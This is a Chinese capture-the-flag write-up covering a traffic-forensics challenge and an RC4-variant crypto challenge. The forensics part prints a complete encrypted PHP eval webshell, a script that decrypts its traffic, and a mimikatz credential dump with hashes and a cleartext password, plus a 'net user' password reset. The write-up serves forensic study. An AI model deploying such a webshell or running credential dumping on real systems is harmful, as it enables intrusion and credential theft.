TSCTFWP

问卷就不说了

Ohmypassword

进入流量包 过滤出来

1
http contains "password“

即可看到

在这里插入图片描述

追踪第一个流量包即可发现在最后一部分上传了一个php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>

很容易分析出来用pass传参生成了一个key,然后php://input协议获取post流中的内容,可以返现这个key是用来AES解密的,之后很容易想到过滤出pass关键字
在这里插入图片描述
用最后出传入的pass值生成的key,追踪流即可发现生成的key

1
key = 09f2d96615775182

有了key就可以对post流中的数据流进行解密,脚本如下

1
2
3
4
5
6
7
8
9
<?php
// $key=substr(md5(uniqid(rand())),16);
// echo $key;
$post = "";
$key = "09f2d96615775182";
#$key = "dadc0b42da0fd57d";
$post=openssl_decrypt($post, "AES128", $key);
echo $post;
?>

$post即为post流中的内容,也可以使服务器响应返回的内容。接下来就是对找对流量包。这个过程很艰难,因为流量包太多了。最后过滤出http协议在后面一部分找到了对的流量包。第一个在3682的流量包,解密如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
type password1.txt

.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 666554 (00000000:000a2bba)
Session : Interactive from 1
User Name : 23333
Domain : WIN-OVTH665JQC3
Logon Server : WIN-OVTH665JQC3
Logon Time : 2021/5/3 16:11:10
SID : S-1-5-21-1594512008-2047613387-837257493-1000
msv :
[00000003] Primary
* Username : 23333
* Domain : WIN-OVTH665JQC3
* LM : 5c651cac55ccdc3cd210ce269f6f8d13
* NTLM : 922ce1a39b00c1d9d929dfd31d9f2c1f
* SHA1 : 7a6fdaedc33598705c1690da021bb69d0aaef9c0
tspkg :
* Username : 23333
* Domain : WIN-OVTH665JQC3
* Password : EL_PSY_CONGROO
wdigest :
* Username : 23333
* Domain : WIN-OVTH665JQC3
* Password : EL_PSY_CONGROO
kerberos :
* Username : 23333
* Domain : WIN-OVTH665JQC3
* Password : EL_PSY_CONGROO
ssp :
credman :

Authentication Id : 0 ; 666412 (00000000:000a2b2c)
Session : Interactive from 1
User Name : 23333
Domain : WIN-OVTH665JQC3
Logon Server : WIN-OVTH665JQC3
Logon Time : 2021/5/3 16:11:10
SID : S-1-5-21-1594512008-2047613387-837257493-1000
msv :
[00000003] Primary
* Username : 23333
* Domain : WIN-OVTH665JQC3
* LM : 5c651cac55ccdc3cd210ce269f6f8d13
* NTLM : 922ce1a39b00c1d9d929dfd31d9f2c1f
* SHA1 : 7a6fdaedc33598705c1690da021bb69d0aaef9c0
tspkg :
* Username : 23333
* Domain : WIN-OVTH665JQC3
* Password : EL_PSY_CONGROO
wdigest :
* Username : 23333
* Domain : WIN-OVTH665JQC3
* Password : EL_PSY_CONGROO
kerberos :
* Username : 23333
* Domain : WIN-OVTH665JQC3
* Password : EL_PSY_CONGROO
ssp :
credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2021/5/3 16:10:57
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN-OVTH665JQC3$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2021/5/3 16:10:57
SID : S-1-5-20
msv :
tspkg :
wdigest :
* Username : WIN-OVTH665JQC3$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : win-ovth665jqc3$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 48274 (00000000:0000bc92)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2021/5/3 16:10:56
SID :
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WIN-OVTH665JQC3$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2021/5/3 16:10:56
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : WIN-OVTH665JQC3$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : win-ovth665jqc3$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :

mimikatz(commandline) # exit
Bye!

C:\phpstudy_pro\WWW\TEST\hackable\uploads>

第二个流量包位置忘记了,解密后的内容如下

1
2
net user 23333 HACKING_TO_THE_GATE
命令成功完成。

由此可得出flag:TSCTF{EL_PSY_CONGROO_HACKING_TO_THE_GATE}

HelloRc4

这题看懂了源码就着实很简单。分析一下源码可以知道。先进行了一个sha256验证,直接拿脚本跑就行了,然后进入到MyPrng类中在下面这个代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class MyPrng:
def __init__(self): #创建临时向量T(256位)
self.state = [i for i in range(256)]
self.i = 0
self.j = 0
self.k = 0

def __swap_state(self, a, b):
self.state[a], self.state[b] = self.state[b], self.state[a] #每产生一个字节k,S的元素都要被再次排列

def ksa(self, key):
j = 0
for i in range(256):
j = (j + self.state[i] + ord(key[i % len(key)])) % 256
list.append([i,j])
for p in list:
if(p[0]==j and p[1]==i):
print(p[0],p[1],i,j,ord(key[i % len(key)]))
self.__swap_state(i, j) #交换元素
k = 0
for i in range(256):
k = (k - self.state[i] + ord(key[i % len(key)])) % 256
self.__swap_state(i, k) #交换元素

def prng(self): #产生密钥字节k
self.i = (self.i + 1) % 256
self.j = (self.j + self.state[self.i]) % 256
self.k = (self.k + self.state[self.j]) % 256
self.__swap_state(self.i, self.j)
self.__swap_state(self.i, self.k)

return self.state[(self.state[self.i] + self.state[self.j] + self.state[self.k]) % 256]

我增加了一些注释,再百度一下Rc4原理其实就能看懂。之后看main函数可以发现要求输入key1和key2两个初始密钥,之后利用密钥对同一个明文进行加密,如果两个加密后的密文相同即可输出flag,首先看看key的作用在哪。可以发现key的作用很单一。
在这里插入图片描述
所以只需要两个key加密中ord出来的值一样就行了,到这就很简单了,直接构造如下,两个key长度不一样就行了,这样不管怎么样key[]数组取出来的永远是相同字母。

1
2
key1 = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
key2 = aaaaaaaaaaaaaaaaa

直接输拿flag
在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!